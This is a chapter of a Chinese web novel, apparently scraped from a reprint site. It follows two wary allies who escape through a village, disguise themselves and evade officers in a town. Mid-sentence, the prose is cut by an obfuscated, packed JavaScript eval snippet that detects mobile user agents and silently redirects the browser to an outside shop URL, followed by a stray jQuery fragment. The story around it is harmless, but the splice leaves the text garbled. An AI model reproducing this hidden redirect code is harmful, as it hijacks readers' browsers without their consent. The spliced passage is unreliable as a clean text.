31. 第三十一章

作品:《宿敌他总担心我死了

    最终还是李平安在这场关于上药的对峙中胜出,盯着赵席玉抓一把草木灰往自己手心厚厚敷了三层才作罢。


    处理过身上的伤口,嚼香蒲根勉强填了肚子,李平安便依赵席玉的提议,两个人轮着守夜,她身子虚,便先蜷坐着睡了。


    李平安的睡眠一向神奇,旁人累了伤了嗜睡,她累了伤了失眠。自池州战场出来之后,睡觉更是成了大问题,平日在府里靠着吃药,还有舒坦的床榻和暖和的日光,偶尔尚能睡两个好觉。今日这样的境况下,她也不强求能睡着,闭着眼养养精神也是好的。


    只是闭着眼睛,鼻子格外灵敏起来,总能闻道一丝忽远忽近的淡淡的药香。


    意识在明灭跳动的光线中浮沉,她竟渐渐觉得泛上来一些困意,最后一点记忆,停留在那股药香越靠越近。


    再睁开眼,石洞外已经有了幽微的天光。


    李平安猛地坐起来,一不小心扯到了伤口也没觉得有多疼,只是心里无比地震惊,自己居然一觉睡到快天亮了!


    坐了片刻意识回笼,她又去看身边的人,赵席玉正伸懒腰,对上她的视线咧开嘴笑了一下。


    “你叫我便是,何必自己守一夜?”她看着这人比昨夜更苍白的脸叹了口气:“我从前和同僚出任务,守夜都是一人一半,你知道为何吗?”


    不待人回答,她自己答道:“因为如果一个人累瘫了,倒霉一双。”


    赵席玉站起来,有些踉跄地四处走动活动身体,精神看上去比脸色好得多:“那是他们不行,我这会儿觉得神清气爽,力能抗牛!”


    李平安对他的狂妄自大已经习以为常,懒得花力气去嘲弄。她看着赵席玉一瘸一拐的身影,好奇问道:“你守夜非得一动不动的?”


    赵席玉脸上的笑意有些僵住了,旋即挑眉歪嘴趾高气扬地回了句:“关你什么事?”


    “……”


    李平安暗暗劝说自己,方才与他求和,收一收自己的脾气,赵席玉就是块肉做的火石,每回都生气哪里气的过来。


    二人稍说会儿话的功夫,外头天已经到了能见路的颜色。他们将火堆毁尸灭迹后,便匆匆爬坡而上,翻过山丘去寻人烟。


    一边走一边活动着酸痛的脖子时,李平安才缓慢地反应过来,她昨夜应当是靠着赵席玉睡的。


    心里咯噔一声。李平安抬眼去看走在前面探路的人,想起来昨夜那股药香,大抵是那药香安神,她不自觉凑近去闻了——这是什么厉害的药!她日后有机会一定得想办法弄来。


    她感觉心上蒙了一层闷湿的歉疚,犹豫良久想开口说点什么表示友好的话,赵席玉像是背后长眼睛一样突然转过了头,贱兮兮地冲她笑了笑,道:“我就说,背后怎的有一道炙热的目光在流连,你被本公子这身姿吸引了?”


    李平安心里那点歉疚唰地消失了:“我在想,你没了嘴是不是也不碍事。”


    “李平安,伤人可是犯法的,你别以为我们如今是同盟,我就不会告你。”


    “不是说了,不是同盟。”


    赵席玉皱了皱鼻子,索性回过身倒着走路,一边走一边道:“那朋友总行……好吧,同僚!搭一个戏台子,同唱一出夫妻戏,同僚总能算吧!”


    李平安收回不善的目光,冷哼一声道:“我的同僚,一般不会因为不看路送了狗命。”


    赵席玉果真立刻绊了一下,赶紧转回去好好走路。


    这小丘虽没什么成型的路,但倒也好走,二人走一会儿歇一会儿,大概走了两个时辰,翻过一个小土包,便看到了不远处灰蒙蒙的一小片房舍。


    走近些,隐在树后面去看,这村子当真是萧条,半天也不见一个人出来。


    他们两个人这身衣服破破烂烂的不挡风,那件绯色的官服太过抢眼也不能见人。于是赵席玉自告奋勇进了趟村。


    过了大约两刻钟,李平安便见那人灰头土脸地抱着一堆衣裳回来了。


    不待李平安问,他便自己开始怒骂方才进村是如何好心好意扶一位走不动路的婆婆,结果差点被她家里人当成恶贼,兜头给了他一扫把。


    趁着那人烦躁地扯头上的枯叶,李平安已经裹上了递给她的衣裳,她不由有些怀疑这衣裳是不是从那位婆婆身上抢的,实在是……一言难尽。


    反观赵席玉,那石青色的粗布衣裳有些短小,凌乱的头发随意扯根布条一束,像个穷困潦倒的求学少年。


    赵席玉换好衣服,给李平安说起了在村里的所见。他瞧见有一家人在套驴车,似乎是要上镇子里。这偏僻小村里的人家,最远也是到县里,他们连匹马也寻不到,若是能进镇子,或许可以想法子入京。


    装扮好的二人合计好,便互相搀扶着,绕了个路往另一头的村口去了。


    “大婶儿!”赵席玉看见一个端着簸箕的妇女,率先颤巍巍可怜巴巴地开口:“我们是沿着运河进京城寻亲的,不料遇上乱民,流落到这荒地,您看能给口饭吃吗?”


    那妇女听他说罢,立时满脸的怜爱之色,又见这小郎君拿出来一小块碎银子,眼睛里放光,嘴角怎么也压不住了,忙引着两人往自己的家里去。


    厨房里没有凳子,李平安拒绝了妇人将二人带进堂屋,二人拿着灶上煨的蒸饼,就着鱼干,直接站着吃起来。


    一面吃着,赵席玉便向妇人打听谁家去附近的镇子上,能不能捎他们一程。妇人给指了村西头的老王家,殷勤地说自己可以去和老王头说。


    两个人自然是连连同意,过了一会儿,便听到夫人说着话进来了。


    “对对,是对儿从运河那边来的姐弟,在厨房呢。”


    赵席玉闻言瞪大了眼睛,鱼干也不嚼了,不可置信地打量自己和身边的人。


    李平安懒得搭理他,迎到门口,拿出一块碎银给了那老汉。姓王的老汉接过银子,皱巴的脸都舒展开了,忙道:“小娘子太客气了!顺带的事儿。我那车板上有货,只能坐两个人,您看看您和您小弟谁骑驴?”


    “谁说我们是……”赵席玉竖起眼睛,被李平安瞪了一眼,只得悻悻耷拉下去。


    李平安道:“他骑驴。”


    本着能快则快,李平安和赵席玉三两口吃完嘴里的,又各自装了块饼在身上,便和那王老汉一起,三个人乘着驴车出发了。


    一路上骑驴的赵席玉都有点蔫吧,直到那老汉将他们放到了镇子外,吆喝着驴走远了,李平安


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118189|195491||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见赵席玉还是拉着脸,忍不住问:“你怎么了?不就是说你是我弟弟,你本就比我小。”


    赵席玉闷哼一声别过脸,引开了话题:“我们进了镇子,先安置下来打听打听去奉京的路线吧,独自骑马上路引人注意,最好能寻到同样要进京的人,混在一起走。”


    李平安点点头,又道:“不过进镇子前,还是简单遮掩一下模样。”


    赵席玉心里嘀咕着这镇子离运河早不知道偏到哪里去了,应当不至于有人寻到这里来。但还是听了李平安的提议,两人四处转着,找来一些白灰、黄柏皮之类的。李平安简略给两人装扮一番,不消半个时辰,两个人已经变成了脸色蜡黄,蓬头垢面的农人。


    进了镇子,赵席玉才心惊胆战地庆幸,李平安不怕麻烦地给他们化了妆。


    黄土飞扬的街上,四个穿着公服的男人正在游荡。


    他们不似寻常官差一样飞扬跋扈,只是不时扫过街上、铺子里的人,走了两步,四个人围着拿出张画像看起来。


    李平安和赵席玉不敢再走近,便蹲在地上佯装对路边摆摊的农户面前的鸡蛋起了兴趣。


    那四个官差一步步朝着他们走了过来。赵席玉背对着他们,故意粗声粗气地和那农户问价。但那些人还是在他们身后停了下来。


    无法,他们现在又不能掏出金绣的荷包去买鸡蛋,只能一唱一和着价钱太贵,拍拍屁股起身,迎着那些官差往前走,尽量自然地偏过头对话。


    几个官差锋利的目光在他们身上转了好几圈才收回去。


    刚刚擦肩而过,两个人还没来得及松口气,便听身后传来粗犷的声音。


    “前面那两个,站一下!”


    李平安用气声道:“若是被认出来,决不能让这些人离开镇子。”


    赵席玉轻嗯了一声,二人慢慢地回身。


    正在这当口,远处传来一阵嘈杂,其中属一道尖锐的女声最为突出:“快来人啊!有人偷东西!”


    几个官差闻言立刻往声音传来的地方跑过去,只有其中一个人路过的时候匆匆扒拉着看了他们两眼,看到两个面如菜色,缩头缩脑的农户,扔下个不屑的眼神便走了。


    李平安和赵席玉这才松了口气,想着赶紧找个住的地方,省得在街上乱晃又招来麻烦。


    二人串过两条窄巷,才寻到一个不起眼的小客店,交了钱便躲进了屋。


    赵席玉趁着交钱和店老板问了这镇叫什么镇,附近哪个方位都有些什么乡县,这会在房里凭记忆开始描画前往奉京的线路。


    客房很小,散着淡淡的霉味,连张桌子也没有,二人索性蹲在地上,用李平安的簪子画图。


    不多时外头天便暗了下来,二人歇了歇,思索再三,还是决定冒险出门去看看有没有进京的或是去县里的车马。


    乡镇中人都不爱点灯,天色暗下来街上人便少了许多,更不见官差的身影。李平安二人这才稍稍放下心来,小心地在巷子里穿行,四处看哪里停着车或是栓了马。


    拐进一条巷子,赵席玉正伸着脖子去看这巷中有没有大一些的人家,手臂突然被攥住了。


    李平安的声音低哑紧张:“有人跟着我们。”